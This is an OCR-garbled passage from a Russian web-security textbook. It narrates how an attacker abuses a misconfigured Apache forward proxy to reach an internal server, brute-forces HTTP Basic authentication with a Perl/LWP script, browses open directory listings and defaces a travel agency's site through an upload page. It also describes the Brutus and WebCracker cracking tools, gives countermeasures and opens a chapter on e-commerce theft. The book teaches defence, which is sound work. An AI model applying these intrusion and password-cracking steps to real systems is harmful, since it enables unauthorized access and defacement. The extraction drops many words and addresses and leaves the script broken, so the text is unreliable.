ло сотрудникам компании подключиться к Internet через общее соединение DSL. Кроме того, на proxy сервере Роб установил сервер Apache, чтобы дать возможность Бруку (Web дизайнеру) регулярно обновлять страницы на Web узле компании. Web узел компании Acme состоял всего из восьми статических Web страниц и не скольких изображений. Домен был предназначен исключительно для того, чтобы предоставить пользователям Internet электронный каталог услуг компании. Наиболее ценной частью информации, хранящейся на сервере, был бесплатный теле фонный номер. Внешний вид Web узла компании Acme Travel показан на рис. Домен создавался также для предоставления служащим компании адресов электронной почты, чтобы они могли общаться с клиентами через Internet. Для этого Роб настроил на proxy сервере, работающем под управлением Linux, прото колы SMTP, POP3 и программу Глава 9. 201
is dedicated to the travel. on our travel to help •1th your 24 a day Web узел компании Acme Travel Поздней ноябрьской ночью одно из таких почтовых читал Мэллори. Он недавно вернулся из Индианы, где был в гостях у своей семьи. Письмо пришло из туристической компании Acme Travel, Inc. и было связано с его недавней поездкой. Путешествие оказалось просто ужасным. Вместо хорошего бокового места в самолете Мэллори получил место в середине хвостовой части. Его пожелания по поводу веге тарианской пищи также не были переданы сотрудникам авиакомпании. Однако больше всего Мэллори раздражали $30 комиссионных, заплаченных им компании Acme Travel за резервирование билета. С таким же он мог заказать билет и в самой авиакомпании. Поскольку Мэллори любил рыскать по сети в поисках плохо защищенных ресур сов, он решил воспользоваться своими навыками и проучить компанию Acme Travel, Inc. Идентификация IP адреса и быстрое сканирование портов показали, что сам Web узел размещается на сервере acmehosting.net. Однако на серверах провайдера услуг Internet он не нашел ничего интересного. Не было никаких от крытых портов, кроме тех, которые использовались оболочкой SSH и протоколом HTTP, и в броузере можно было увидеть только статические страницы и файлы изображений. Но при просмотре почтового сообщения Мэллори пришла в голову идея. В туристической компании должен быть выход в Internet. В ее офисе должна существовать небольшая внутренняя сеть, чтобы сотрудники могли получать и от правлять почтовые сообщения. Без этого почтового сообщения выявить присутствие компании Acme Travel в Internet было бы абсолютно невозможно. В заголовке письма содержалась следующая информация: 202 Часть III. Как они это делают
via Received: from example.com) by mta497.netmail.com with [10.3.2.1] by example.com (8.8.8/8.8.5) with id RAA08342 for Message ID: Aug 2001 04:20:23 +0530 From: "Acme Travel Service" com Subject: TICKET CONFIRMATION TICKET TEL (800) 555 ACME В строке by example.com содержался IP адрес компании Acme Travel. сразу приступил к сканированию портов узла Утилита Nmap предоставила следующий список открытых портов: Port State Service open ssh open smtp open http open open http proxy Мэллори определил, что порты 22, 25 и ПО блокируются TCP оболочкой. Для реа лизации атаки можно было воспользоваться лишь портами 80 и 8001. Кроме адреса никаких других активных IP адресов обнаружить не удалось. Составление схемы сети Теперь Мэллори имел примерное представление об архитектуре сети. И его предполо жения были очень близки к реальности. На рис. 9.2 изображена реальная структура сети. Служащие компании Acme могли попадать в Web через порт 8001 proxy сервера HTTP, установленного на узле и отсылать почту через демон SMTP, запущен ный на той же машине. Для получения электронной почты и ее распределения по поч товым ящикам внутренней сети на сервере Linux демон каждые 5 минут запускал программу Весь входящий трафик, кроме подключений SSH через до машнего компьютера Роба, блокировался TCP оболочкой. Сервер Apache использовался в качестве внутреннего Web сервера, прослушивающего порт 80, а также proxy сервера, связанного с портом 8001. Сервер Apache был настроен таким образом, чтобы прини мать запросы только от узлов с адресами из диапазона и с локального адреса Роб не планировал пускать кого либо еще в свою внутреннюю сеть. Мэллори попробовал получить доступ к портам 80 и 8001 через свой броузер. Од нако каждый раз возвращался код ответа 4 03 Forbidden (рис. 9.3). Однако Мэллори не отказался от своей затеи. Перед тем как уйти спать, он решил попытать счастья еще раз. Тонкости использования proxy серверов Последняя попытка Мэллори заключалась в том, чтобы выяснить, правильно ли сервер Apache по адресу прослушивающий порт 8001. Если он раз решает с внутренних адресов отправлять HTTP запросы во внешнюю сеть, то, воз можно, он будет и принимать HTTP запросы. 9. Киберграффити 203
Центр данных компании Acme Travel, Inc. Proxy сервер Linux (10.3.2.1,10.0.1.1) Маршрутизатор DSL Внутренняя сеть офиса (10.0.1.2... 10.0.1.255) Рис. 9.2. Внутренняя сеть компании Acme Travel, Inc. и сервер провайдера услуг Internet Forbidden You don't have to access / on server at Рал SO Forbidden You don't have to / on this server Рис. 9.З. Передача HTTP запросов на порты 80 и 8001 запрещена 204 Часть III. Как они это делают
Воспользовавшись утилитой netcat, Мэллори отправил запрос GET h t tp :// 127.0.0.1:80/ на порт 8001 Этот запрос сообщает proxy серверу о том, что необходимо установить соединение HTTP с портом 80 узла полу чить ответ HTTP и данные, а затем передать их обратно клиенту. Приведенные ниже результаты свидетельствуют о том, что этот трюк сработал! 10.3.2.1 8001 GET HTTP/1.0 HTTP/1.0 401 Authorization Required Server: WWW Authe ntic ate: Basic realm "special directory" Content Type: text/html; charset=iso 8859 l <!DOCTYPE PUBLIC HTML <TITLE> 401 Authorization required </TITLE> </HEAD><BODY> <Hl>Authorization This server not v e rify that you are authored to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doe sn 't understand how to supply the credentials <ADDRESS> Apache/1.3.12 Server at redproxy Port 80</ADDRESS> Мэллори на шаг продвинулся к заветной цели. Вместо HTTP ответа 403 Forbidden он получил сообщение 401 Authoriz atio n Required. Этот ответ передал сервер Apache, прослушивающий порт 80, а не 8001. Давайте на минуту остановимся и проанализи руем эту атаку более подробно. На рис. 9.4 показано, что же произошло. Взломщик Web узел V Proxy сервер (8001) Proxy сервер неправильно настроен и пропускает реверсивные запросы во внутреннюю сеть 10.0.1.10 Рис. 9.4. Схема правильного и некорректного использования proxy сервера Глава 9. Киберграффити 205
Если пользователи внутренней сети компании хотят получить доступ к Web узлам в Internet, то их броузеры должны быть настроены на использование proxy сервера На рис. 9.4 показано, что пользователь на узле 10.0.1.12 пере дает запрос на получение страниц с Web узла Этот запрос на правляется на сервер связанный с портом После этого proxy сервер пе редает HTTP запрос на узел получает необходимые данные и отправля ет их обратно клиенту по адресу Proxy сервер представляет собой систему (dual homed использующую адрес во внутренней сети и адрес в другой (внеш ней) сети. Когда попытался получить доступ по адресу или он получил ответ 403 Forbidden. Сервер был настроен так, чтобы отклонялись все запросы, отправленные со всех адресов, кроме 10.0.1.1 254 и 127.0.0.1. Однако оказалось, что HTTP запросы к proxy серверу раз решалось передавать с любых адресов. Такую ошибку Роб мог случайно допустить в процессе настройки proxy сервера. Поэтому, когда Мэллори запрашивал Web страницу через proxy сервер 10.3.2.1:8001, proxy сервер старательно обрабатывал этот запрос. Он устанавливал связь с Web сервером того же узла, кото рый прослушивал порт 80, получал ответ и отсылал его обратно Web броузеру на ком пьютере Мэллори. Аналогичная атака рассматривалась в главе 6. На следующем этапе Мэллори настроил свой броузер так, чтобы автоматически использовался proxy сервер 10.3.2.1:8001. На рис. 9.5 показано диалоговое окно на стройки параметров броузера Netscape. В ! ifi • Languages I • •Smart 33 Roaming Access Composer ffi Offline Cache 9.5. Настройка proxy сервера в броузере Netscape Теперь Мэллори ввести в броузере URL адрес чтобы запрос был перенаправлен по адресу Однако совершенно неожи данно снова был получен ответ Authorization Required. Администратор узла дейст вительно не хотел разрешать пользователям доступ к Web серверу. Однако Мэллори это не остановило. 206 Часть III. Как они это делают
Подбор паролей, используемых в процессе HTTP аутентификации Возможно, из всех протоколов аутентификации, используемых на уровне прило жения, путем простого перебора (т.е. "в лоб") легче всего взломать пароли, приме няемые в процессе HTTP аутентификации. В настоящее время используется три ос новных типа аутентификации HTTP: Basic, Digest и NTLM. Механизм аутентифика ции Basic --- это первая попытка обеспечения защищенности определенных областей Web узла с помощью пароля. Каждый раз, когда броузер получает HTTP ответ с ко дом он выводит на экран диалоговое окно с запросом имени пользователя и па роля. После ввода необходимых данных они кодируются в соответствии со схемой шифрования Base64 и отправляются в новом HTTP запросе на получение того же ре сурса. Сервер выполняет декодирование и сравнивает полученные регистрационные данные с пользовательским именем и паролем, содержащимися в его базе данных. Если сравнение завершилось успешно, то вместе с запрошенными данными сервер отправляет ответ 200 ОК. В противном случае сервер передает HTTP ответ с кодом Аутентификация NTLM используется сервером IIS компании Microsoft для иден тификации пользователей, которые используют учетные записи Windows NT. В про цессе аутентификации Digest используется алгоритм шифрования MD5. Этот тип ау тентификации не поддерживается ни броузером Netscape, ни Internet Explorer. Имен но поэтому он и не получил широкого распространения. Единственным популярным броузером, который поддерживает аутентификацию Digest, является Opera. После получения HTTP ответа с кодом 401 просмотрел весь свой ката лог, в котором содержались написанные им сценарии на языке Perl, и нашел старый сценарий, предназначенный для подбора паролей HTTP. В этот сценарий он добавил библиотеку LWP (Library for WWW access with Perl). Для работы сценарию Perl требо валось два файла: с именами пользователей и words.txt со списком паролей. Кроме того, Мэллори написал функцию чтобы изменять пароли с помощью различных приемов, таких, как изменение регистра, изменение направления чтения, добавление цифр и символов и даже преобразование слов в так называемую хакер форму, когда символы е, 1 и t заменяются на 3, 1 и 7 соответственно. Сценарий нужно было модифицировать, чтобы обеспечить возможность выполнения подбора паролей через proxy сервер. Именно для этого и предназначалась библиотека LWP, в состав которой входят требующиеся методы. Ниже приведена модифицированная версия сценария Мэллори. 01: 02: 03: use 04: 05: "users.txt") удается открыть файл с именами 06: open(WORDS, "words.txt") удается открыть файл с паролями") 07: = = 09: 10: 12: $ua = new 13: 14: $request = new 15: $i 0; 16: flag = 0; 17: foreach $user (§users) { , Глава 9. 207
19: chomp ($user); 20: foreach 21: 22: Trying ++$i); 23: $request >authorization_basic($user, 24: $result = 25: success) { 26: 1;" 27: print 28: last; 29: } 30: } 31: last if $flag; 32: } Приведенный сценарий достаточно прост. В строках пользовательские имена и пароли загружаются в массивы. В строке для изменения паролей вызывается функ ция которой в качестве параметра передается массив В строках 12, 13 и 14 создается объект который инициализируется с использованием адреса и порта proxy сервера, а также URL адреса В двух вложенных циклах между строками 18 и 32 перебираются все комбинации имен пользователей и паролей. В стро ке 23 генерируется запрос на аутентификацию HTTP, а в строке 24 этот запрос переда ется proxy серверу. В строке 25 проверяется, получен ли ответ 200 ОК. Если такой ответ получен, то сценарий подбора паролей завершает свою работу. После запуска сценария имя пользователя и пароль удалось подобрать с 386 й по пытки! Вот несколько последних строк, сгенерированных сценарием в процессе работы. Trying 365: Trying Trying 367: Trying 368: Trying Trying 370: Trying Trying 372: Trying 373: Trying 374: Trying Trying 376: Trying 377: acme 378: Trying Trying Trying 382: Trying 383: Trying 384: Trying 385: Trying 386: Trying It Пользовательскому имени admin соответствовал пароль 7rav31, который представлял собой форму записи слов travel. загрузил файл паролей, в кото ром содержались слова acme, travel и некоторые другие распространенные пароли. Итак, Мэллори справился с аутентификацией. Теперь он мог настроить броузер Netscape для использования proxy сервера и воспользоваться учетной 208 Часть III. Как они это делают
записью admin/7 чтобы проникнуть на Web узел и приступить к его исследова нию. На рис. 9.6 показано, как Мэллори вводит в броузере регистрационные данные при обращении к узлу через proxy сервер. Authorization Required This could not verify that you are to access the document requested. Either you supplied the wrong credentials bad password), or your browser doesn't understand how to supply the credentials required. Port 80 9.6. Успешная аутентификация HTTP предотвра щает получение очередного ответа с кодом 401 Просмотр каталогов То, что произошло после этого, оказалось абсолютно неожиданным. После того как Мэллори отправил запрос через proxy сервер и подобрал регистрационные дан ные, сервер стал беззащитным. Даже слишком беззащитным. Вместо Web страницы сервер выдал содержимое корневого каталога Web документов. Для Мэллори это было большой удачей, поскольку теперь ему не нужно было ничего угадывать. С этого мо мента он мог легко исследовать содержимое Web узла, один каталог за другим. На рис. 9.7 показано содержимое корневого каталога сервера. Обычно список отображается в том случае, если отсутствует Web страница, используемая по умолчанию, такая, как Если на сервере не от ключен режим отображения содержимого, а используемая по умолчанию страница от сутствует, то будет отображено содержимое корневого каталога документов. А Роб не позаботился об отключении этого режима. В окне броузера отображается три каталога: /admin/, /images/ и /stage/. Сначала Мэллори решил просмотреть содержимое каталога /stage/ (рис. 9.8). В этом каталоге содержалась точная копия Web узла www.example.com. И тут Мэллори понял, что Web узел туристической компании Acme Travel находился на ста дии разработки. При этом все работы по проектированию выполнялись в офисе, а при необходимости модифицированные страницы пересылались на сервер провайдера. Те перь внимание Мэллори привлек каталог /admin/. содержимое показано на рис. 9.9. Глава 9. Киберграффити 209
Index of / а 11 :12 1 1:39 Apache/1.3.12 Server at Port SO Puc. В окне броузера появился список каталогов you I to the needs and travel. We t on airlines our today to help with your 24 a day. Puc. 9.8. Содержимое /stage/ 210 Часть III. Как они это делают
Index of /admin fej 11:49 Server at Port 80 9.9. Список файлов каталога В этом каталоге содержалось два файла. Первый из них, напоминает сценарий оболочки UNIX, а не Второй файл, --- это сце нарий РНР, предназначенный для управления Web узлом. При запросе на получение файла возвращается его полное содержи мое. Это естественно, поскольку для Web сервера сценарий оболочки является обыч ным текстовым файлом. Поэтому сервер возвращает его в неизменном виде. Вот со держимое файла t для на сервер Создан Сценарий запускается синхронизации Web страниц scp qCr i \ t добавить запись в файл журнала, если репликация прошла успешно date Этот сценарий для репликации содержимого Web узла из каталога /stage/ на сервер Роб использовал команду scp с для того, чтобы скопировать содержимое этого каталога на сервер server326.ord.acmehosting.net, где и размещается Web узел На этом сервере есть учетная запись example, все Web страницы узла содержатся в каталоге /example/. Кроме на этом сервере находится много других Web узлов. Использование Глава 9. Киберграффити 211
не позволило зарегистрироваться непосредственно на сервере Однако для Мэллори еще не все было потеряно. Поскольку содержимое Web узла регулярно реплицировалось с использованием демона значит, если изме нить Web страницы, находящиеся в каталоге /s t age/, то они будут реплицированы на узел Решить эту задачу помогает второй сценарий каталога /admin/. На рис. 9.10 пока зана страница Что же Мэллори увидел в окне броузера? Это Web интерфейс для управления Web страницами каталога /stage/. Роб создал эту страницу, чтобы штатному Web дизайнеру не потребовалось знакомиться с прелестями использования команды scp для копирова ния страниц со своей рабочей станции на сервер. Сначала Роб объяснял Брук, как с ис пользованием протокола FTP копировать Web страницы на сервер. Однако после обна ружения изъяна в демоне tpd, он решил удалить раз и навсегда. acmetravel site management upload web pages delete files A html 9.10. Web страница sitemgmt.php Загрузка модифицированных страниц Именно интерфейс для управления Web узлом и требовался Мэллори! Провозив шись с proxy сервером и взломом учетной записи с использованием собственного сценария, он утолил жажду мести. Через час в распоряжении Мэллори было два фай ла: который должен был заменить главную Web страницу компании Acme Travel, и идея использования которого была навеяна ста рой популярной игрой. На рис. 9.11 и 9.12 показано, как Мэллори загружал файлы на узел 212 Часть III. Как они это делают
acmetravel site management upload web pages \ File name: index File 250 bytes File type: delete files acmetravel/ html 9.11. Загрузка новой страницы с использовани ем страницы Вполне довольный собой, решил посмотреть на новую Web страницу. Как только демон запустит сценарий Web страница будет скопиро вана по адресу и месть Мэллори свершится. Не вызывает сомнения тот факт, что в 4 утра демон запустил сценарий В результате Web страницы Мэллори, а также остальное содержимое Web узла были скопированы на Web сервер провайдера. На рис. 9.13 представлена схема всей атаки в целом. Пользователи, посетившиеузелhttp://w w w. example . co m/на следующийдень,увиде ли Web страницу, представленную на рис. 9.14. Вскоре в офисе компании Acme Travel, Inc. произошел настоящий скандал. Роб попытался выяснить, как же все произошло. К счастью, Мэллори не получил доступ к серверу на уровне какого либо пользователя или администратора. Он мог этого до биться, если бы воспользовался РНР или CGI сценариями, позволяющими получить доступ к командной оболочке через Web. Поскольку файлы журнала остались невре димыми, эту атаку удалось легко отследить вплоть до небольшой компании из Сан Франциско, занимающейся предоставлением услуг Internet. Содержимое Web узла проще всего было восстановить с резервных копий. Кроме того, необходимо было из менить конфигурацию сервера и задать правила фильтрации IP пакетов, которые обеспечили бы блокировку всего запрещенного входного трафика. Глава 9. Киберграффити 213
acmetravel site management upload web pages File name: He size: bytes File type: delete files html 9.12. Загрузка файла allyourbase.jpg с использованием страницы Измененные страницы из каталога на сервере реплицируются на Web узел Взломщик Злоумышленник взламывает proxy сервер компании и размещает Web страницы в каталоге на сервере, предназначенном для хранения их промежуточных версий В полночь содержимое каталога, предназначенного для хранения промежуточных версий Web страниц, реплицируется на основной Web узел Содержимое каталога сервера подменено Маршрутизатор DSL Корпоративная сеть Рис. 9.13. Этапы атаки на узел 214 Часть III. Как они это делают
Hey been an unsatisfied customer P. Модифицированная главная страница Web узла Какие ошибки были допущены Подмена содержимого Web узла --- достаточно необычная атака. В большинстве случаев хакеры используют уже готовые средства взлома, основанные на известном изъяне, получают привилегии суперпользователя и модифицируют Web страницы, находящиеся на узле. Эта атака не была даже направлена на сервер, на котором содержались сами страницы. Злоумышленник обошелся тем, что взломал proxy сервер, на котором находились Web страницы, предназначенные для на Web сервер. Подмена Web страниц, расположенных в рабочем каталоге, привела к тому, что содержи мое Web узла было подменено после выполнения автоматической репликации. Администратор proxy сервера принял некоторые превентивные меры против неже лательного трафика. Однако некоторые уязвимые места все же остались. Первым, и наиболее уязвимым, местом был HTTP порт proxy сервера. Он позволял использовать proxy сервер для доставки HTTP запросов во внутреннюю сеть. Даже несмотря на то, что Web узел был защищен механизмом аутентификации злоумышленнику удалось легко обойти эту защиту. Он смог взломать пароль, воспользовавшись собственным сценарием автоматического перебора. В настоящее время доступно лишь несколько коммерческих программ подбора паролей, исполь зуемых в процессе HTTP аутентификации. Ниже в этой главе будут рассмотрены две наиболее популярные программы из этого класса --- Brutus и Существенную помощь взломщику оказало также то, что, в отличие от большинст ва других серверов, на данном сервере не был отключен режим просмотра каталогов. Обычно при отсутствии Web страницы, используемой по умолчанию, сервер не дол жен передавать броузеру перечень подкаталогов и файлов из каталога, к которому Глава 9. Киберграффити 215
осуществляется доступ. В данном же случае режим просмотра каталогов оставался включенным. В результате незащищенными те области файлового про странства сервера, которые должны быть Примером может служить ката лог /admin/, в котором содержался PHP сценарий управления Web узлом. Этот сцена рий позволил взломщику загрузить измененные Web страницы! Известно не так много случаев, когда подмена содержимого Web узла выполнялась необычным способом. Две из подобных атак связаны с подменой содержимого Web узла журнала PC Week и узла Их подробное описание можно найти в следующих статьях: • "The PC Week hack" --- • "How we defaced Apache" --- http://packetstormsecurity.nl/papers/general/how. Программы подбора паролей HTTP Как уже упоминалось, среди всех средств, предназначенных для подбора данных HTTP аутентификации "в лоб", наиболее мощными являются утилиты Brutus Обе программы обладают большой скоростью работы, поскольку для парал лельной проверки нескольких пар "имя пользователя/пароль" в них используется не сколько потоков. Еще раз отметим, что HTTP --- это один из протоколов, который меньше всего защищен от подбора паролей "в лоб", поскольку Web серверы обычно рассчитаны на обработку большого числа запросов. Утилиты Brutus и WebCracker способны перебрать огромный список имен пользователей и паролей за считанные часы или даже минуты. Brutus Утилита Brutus работает под управлением Windows. Ее можно найти по адресу: http://www.hoobie.net/brutus/. На самом деле эта утилита поддерживает много различ ных протоколов, и ее использование не ограничивается возможностью подбора паро лей "в лоб" только для протокола HTTP. Среди других протоколов, поддерживаемых этой утилитой, можно выделить FTP, telnet, и SMB. На рис. показано главное окно программы Brutus. В этом диалоговом окне можно задать количество одновременных подключений, значение времени ожидания, выбрать метод HTTP и номер HTTP порта. Однако утилита Brutus не позволяет выполнять подбор пароля через proxy сервер HTTP. Флажок Use Proxy обеспечивает возможность использования лишь proxy сервера SOCKS. Интересным свойством программы является также возможность изменения строк паролей с использованием нескольких простых алгоритмов. На рис. 9.16 показано диалоговое окно, в котором можно задать параметры генерации паролей. WebCracker 4.0 Утилиту WebCracker 4.0 можно получить по адресу: http://packetstormsecurity.org/ Она предназначена исключительно для подбора "в лоб" паро лей HTTP и позволяет использовать proxy сервер HTTP. На рис. и 9.18 показано, как программу WebCracker можно настроить для реа лизации атаки на Web узел Acme Travel Inc., направленной на подбор паро ля Web сервера, запущенного по адресу с использованием proxy сервера 216 Часть III. Как они это делают
Рис. Программа Brutus Рис. Параметры гене рации паролей программы Brutus Рис. 9.17. Программа позволяет вы полнять подбор паролей с использованием proxy сервера HTTP Г Глава 9. Киберграффити 217
• Рис. Настройка параметров proxy сервера HTTP в программе Cracker В процессе работы в диалоговом окне утилиты WebCracker отображается список потоков, а также применяемые пользовательские имена и пароли. После нахождения удачной комбинации программа WebCracker завершает работу и отображает получен ный результат, как показано на рис. 9.19. Рис. 9.19. С использованием программы WebCracker учетная запись успешно взломана 218 Часть III. Как они это делают
Контрмеры против взлома Web узла компании Acme Travel, Inc. К предпосылкам успешной реализации такой атаки можно отнести следующие: • для успешной реализации атаки необходимо, чтобы внешние клиенты могли воспользоваться proxy сервером для проникновения во внутреннюю сеть; • возможность получения пользовательского имени и пароля HTTP аутентифика ции путем их подбора "в лоб"; • возможность просмотра каталогов Web сервера. Отключение реверсивного перенаправления Чтобы предотвратить то, что произошло с proxy сервером компании Acme Travel, необходимо отключить режим реверсивного перенаправления HTTP. Различные Web серверы настраиваются по разному. На сервере по адресу был установ лен Apache 1.3.12. В конфигурационном файле httpd. c o nf содержатся следующие ди рективы, предназначенные для связывания служб перенаправления с портом 8001: Listen 8001 robeexample.com /usr/local/apache/htdocs_8001/ redproxy logs/8001 error_log logs/8001 access_log common on </VirtualHost> Директива Listen 8001 сообщает серверу о том, что порт 8001 необходимо прослуши вать на обоих интерфейсах proxy сервера, связанных с адресами и Для того чтобы ограничиться прослушиванием порта 8001 со стороны внутренней се ти сервер Apache должен быть настроен образом, чтобы порт 8001 был связан только с интерфейсом внутренней сети Другими словами, необ ходимо воспользоваться директивой Liste n следующего вида: Listen 10.10.1.1:8001 После этого порт 8001 нельзя будет выявить в процессе внешнего сканирования. Кроме того, в этом случае будет также блокироваться реверсивное перенаправление запросов, передаваемых с внешних узлов. Использование более надежных паролей Для усиления механизма аутентификации HTTP с использованием конфигураци онных параметров сервера больше ничего нельзя сделать. Единственная эффективная контрмера заключается в использовании более надежных паролей, которые было бы не так просто подобрать "в лоб". Увеличение длины пароля, использование алфавит но цифровых и других символов разных регистров позволит значительно уменьшить вероятность реализации успешной атаки. Большинство Web серверов, в том числе и Apache, не позволяют блокировать учет ные записи после нескольких неудачных попыток аутентификации и ограничивать Глава 9.
число попыток регистрации. Системный администратор должен обращать при стальное внимание на файлы журналов. В них может содержаться информация о большом количестве запросов на получение доступа к защищенному ресурсу и о передаче HTTP ответов 401 Authoriz ation Required. Это может свидетельствовать о том, что кто либо предпринял попытку подобрать пользовательское имя и пароль. Отключениережимапросмотракаталогов Режим просмотра каталогов должен быть всегда отключен, если в нем нет острой необходимости. На Web сервере компании Acme Travel. Inc. этот режим был включен. Об этом свидетельствуют следующие строки из файла Options IndexesAll </Directory> Рис. 9.20. режима про смотра каталогов на сервере IIS При использовании директивы Options Indexes и при отсутствии документа, пре доставляемого по умолчанию сервер Apache будет генерировать список файлов каталога и возвращать его клиентскому броузеру. Практически все популярные Web серверы обеспечивают возможность включе ния/отключения режима просмотра каталога. На рис. 9.20 показано диалоговое окно параметров сервера IIS. При сбросе флажка Directory browsing режим просмотра ката лога будет отключен. Резюме По видимому, к возникновению большинства изъянов приводят простые ошибки и упущения, допускаемые при настройке программного обеспечения. Во многих слу чаях подменить содержимое узла удается из за того, что взломщики используют хо рошо известные изъяны Web серверов. На таких Web узлах, как http://alldas.org/, можно найти Web узлов, которые подверглись подмене, а также копию изме 220 Часть III. Как они это делают
страниц. Зачастую подобные атаки приводят к обнаружению новых дыр в подсистеме зашиты. Иногда взломщик или группа злоумышленников подменяют со держимое огромного количества Web узлов одновременно. В этой главе была рас смотрена очень необычная атака. Цель злоумышленника заключалась в подмене со держимого Web узла компании Acme Travel, Inc. Воспользовавшись Web страницей, он без особых проблем мог разместить на сервере РНР или CGI сценарий и тем са мым создать "потайную дверь" в системе Unix. После этого на сервере можно было бы выполнять произвольные команды. Глава 9. Киберграффити 221
ГЛАВА 10 магазинах Наиболее распространенные и стандартные ошибки являются след ствием безразличия. Генри Дэвид Торо (1817 1862)
Введение С момента появления компьютерные системы использовались для управления сер верными операциями и позволяли упростить выполнение повседневных задач служа Поскольку технологии постоянно развиваются, а развертывание систем стано вится все более дешевым, в коммерческих организациях компьютеры стали все боль ше и больше вовлекаться в процесс управления операциями. В начале 1990 х годов в большинстве крупных промышленных предприятий компьютеры и компьютерные се ти стали настоящей информационной основой с огромным количеством приложений, которые были способны обрабатывать даже сложную бизнес логику. Благодаря доступности и простоте использования Internet распространение формации через Web стало очень популярным. Это позволило небольшим и средним предприятиям предоставить информацию о себе и своих изделиях для обозрения все му миру. Географическое местоположение магазина больше не играет существенной роли. Многочисленные каталоги магазинов стали появляться и в электронной форме. К концу 1990 х годов практически каждая крупная американская компания, выпус кающая товары для потребителей, имела свой Web узел, на котором были представле ны ее товары и услуги. Поскольку Web приложения стали интенсивно развиваться, специалисты в области торговли быстро поняли, что, кроме обычных магазинов, имеет смысл предложить покупателям и электронные, в которых через Internet можно заказывать и оплачивать необходимые товары. Так появился электронный торговый зал. Теперь компьютерные сети и приложения были достаточно развиты, чтобы обеспечить эффективную и на дежную обработку денежных транзакций. Технологическая революция прошлого десятилетия существенно повлияла на спо собы ведения бизнеса. Появились такие новые термины, как электронная коммерция (e commerce) и электронный бизнес (e business). Кроме того, радикально изменилось общее направление развития коммерческой сферы и применяемые в ней подходы. Толчком к этим изменениям послужило большое количество новых технологий и стре мительное развитие Internet. Всемирная сеть стала связующим звеном между объектами, реализующими бизнес логику, и покупателями. Это позволило существенно расширить ассортимент предоставляемых услуг. Для того чтобы оставаться конкурентоспособными, компании начали менять свои краткосрочные и долгосрочные стратегии. Для поддержки ключевых бизнес стратегий такие компании, как IBM, BEA, Netscape, Sun и Microsoft, приступили к разработке различных строительных програм мных блоков, основанных на современных информационных технологиях. В результа те владельцы бизнеса и менеджеры стали широко использовать эти технологии и вес ти торговлю через Internet. Поскольку новый электронный бизнес стал общедоступ ным, он привлек также и внимание злоумышленников. Что может быть выгоднее, чем проникновение в наиболее прибыльные системы? Теперь объектом для разбойничьих нападений стала информационная супермагистраль. В этой главе описываются трюки, используемые Internet грабителями для того, чтобы незаметно похитить что нибудь из электронных магазинов. Подобные преступления и называются электронным воровст вом Структура электронного магазина В электронной коммерции можно выделить два основных элемента: бизнес логику и технологию. Надежная бизнес логика и технология могут принести успех в любой области электронной коммерции, тогда как их изъяны способны привести к полному ' Глава 10. Кражи в электронных магазинах 223
провалу. Преимущества и недостатки бизнес логики могут быть самыми разнообраз ными, поэтому их полное описание не входит в задачи этой книги. Основное внима ние уделяется технологическим элементам коммерции. На рис. 10.1 и 10.2 показаны схемы традиционной розничной торговли и элек тронной коммерции. Рис. Схема традиционной розничной торговли Склад товаров Маркетинг Web Рис. 10.2. Элементы электронного магазина Традиционным интерфейсом между компанией и покупателями является торговый зал магазина. Покупатели заходят в магазин и выбирают товары, которые они хотят приобрести. Ознакомившись с предлагаемым ассортиментом продукции и выбрав все необходимые товары, покупатели подходят к кассе и оплачивают покупку. Точно так же функционирует и электронный магазин. В его состав входит "торго вый зал", или внешний интерфейс (store front end), электронная торговая тележка, или корзина (shopping cart), и "пункт оплаты" (checkout station). 224 Часть III. Как они это делают
Торговый зал В торговом зале электронного магазина демонстрируются предлагаемые товары. При желании покупатель может изучить их более подробно и узнать цену. Исполь зуемые в данном случае технологии главным образом должны обеспечить возмож ность беспрепятственно перемещаться по торговому залу и предоставить всю необхо димую информацию. Как правило, для реализации электронного торгового зала ис пользуется динамический HTML. Электронная торговая тележка Торговая тележка используется для поддержки текущего сеанса обслуживания кли ента и позволяет собирать необходимые товары перед их оплатой. Для реализации этого компонента используются технологии, позволяющие осуществлять управление сеансами, отслеживать их текущее состояние и взаимодействовать с внешним интер фейсом. Для программной реализации электронной торговой тележки обычно исполь зуются такие технологии, как Perl, PHP или ASP, либо уже готовые модули, содержа щиеся в откомпилированных двоичных файлах или объектно ориентированных ком понентах, например классах Java. Пункт оплаты Это подсистема обработки платежей, которая связывает электронный магазин с банком или учреждением, занимающимся обработкой платежей по кредитным кар точкам. Для обработки денежных транзакций существуют специализированные систе мы (предоставляемые кредитными учреждениями), которые позволяют оплатить вы бранные услуги или товары. Кроме того, подсистема обработки платежей гарантирует, что заказ на доставку приобретенных товаров будет обработан подсистемой управле ния складом, и инициирует процесс доставки товаров. После завершения обработки каждой транзакции количество товара в электронном магазине изменяется. База данных В базе данных хранится информация о приобретенных товарах, состоянии склада, финансовых транзакциях, покупателях и т.п. Объединение всех элементов На рис. 10.3 показано, как различные элементы электронного магазина объединя ются вместе. Эволюция электронных магазинов Рассмотрим историю развития электронных магазинов в аспекте используемых техно логий. Для реализации самых ранних электронных магазинов использовались сценарии на таких языках, как Perl, которые выполнялись на Web сервере и взаимодействовали с одно родными файлами, а не с базами данных. Подобные системы были гетерогенными, так как в них использовались отдельные, не связанные друг с другом компоненты. Поскольку Web технологии получали все большее развитие, такие компании, как Microsoft и Sun Mi crosystems, приступили к разработке гомогенных контуров, предназначенных для создания Глава 10. Кражи в электронных магазинах 225
приложений электронной коммерции. Позже к ним присоединились и другие компа нии. Постепенно электронные магазины стали многоуровневыми приложениями, в состав которых входило промежуточное программное обеспечение и двоичные компо ненты среднего уровня, такие, как фильтры ISAPI и компоненты Java. Торговый зал магазина Электронная торговая тележка Подсистема управления сеансами Рис. 10.3. Строительные блоки электронного магазина Интеграция с базами данных позволила использовать в приложениях электронной коммерции все преимущества таких реляционных баз данных, как SQL сервер компа нии Microsoft, Oracle и MySQL. Стали популярными технологии DHTML и Flash, благодаря которым процесс по купок стал гораздо привлекательнее и приятнее. Однако на каждой стадии развития технологий появлялись новые изъяны, а атаки взломщиков становились все более масштабными. Случаев, связанных с воровством в электронных магазинах, станови лось все больше. В настоящее время кражи информации и денег в Web стали настоль ко частыми, что больше им нельзя не уделять внимания. Каким же образом хакеры находят лазейки в системах электронной коммерции? Ни что не происходит сразу. Всякий раз при установке или обновлении интерактивного приложения объединяются различные технологии. Сфера коммерческой деятельности развивается чего нельзя сказать о программном обеспечении (которое изменяется дискретно). Одновременное использование различных технологий и необхо димость их согласования друг с другом приводят к тому, что в подсистеме защиты при ложений в течение некоторого времени остаются различные уязвимые места. Ниже перечислены основные причины наличия изъянов в приложениях 